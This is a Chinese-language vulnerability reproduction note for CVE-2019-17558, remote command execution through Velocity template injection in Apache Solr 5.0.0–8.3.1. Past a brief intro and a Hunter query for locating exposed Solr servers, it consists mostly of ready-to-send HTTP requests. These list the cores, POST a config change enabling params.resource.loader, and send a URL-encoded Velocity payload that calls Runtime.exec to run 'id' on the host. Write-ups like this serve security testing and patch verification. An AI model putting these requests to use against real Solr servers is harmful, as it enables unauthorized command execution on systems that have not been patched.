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81 lines
3.7 KiB
Markdown
81 lines
3.7 KiB
Markdown
# Apache Solr Velocity模版注入远程命令执行漏洞（CVE-2019-17558）
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# 一、漏洞简介
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`Apache Solr`是`Apache Lucene`项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成以及富文本的处理。`Apache Solr`存在模版注入漏洞。攻击者通过未授权访问`Solr`服务器，发送特定的数据包开启`params.resource.loader.enabled`,而后get访问接口导致远程命令执行漏洞
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## 二、影响版本
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+ `Apache Solr 5.0.0~8.3.1`
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# 三、资产测绘
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+ hunter`app.name="Solr"`
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+ 登录页面
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# 四、漏洞复现
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1. 默认情况下`params.resource.loader.enabled`配置未打开，无法使用自定义模版，可以通过api获取所有核心core
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```java
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GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
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Host: xx.xx.xx.xx
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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```
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2. 启用配置`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称
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```java
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POST /solr/class/config HTTP/1.1
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Host: xx.xx.xx.xx
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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Content-Type: application/json
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Content-Length: 259
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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```
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3. 查询`params.resource.loader.enabled`是否开启
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4. 通过注入Velocity模板即可执行任意命令
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```java
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GET /solr/class/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: xx.xx.xx.xx
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Connection: close
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Upgrade-Insecure-Requests: 1
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```
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> 更新: 2024-02-29 23:57:33
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/enyp0cmgiol1otx3> |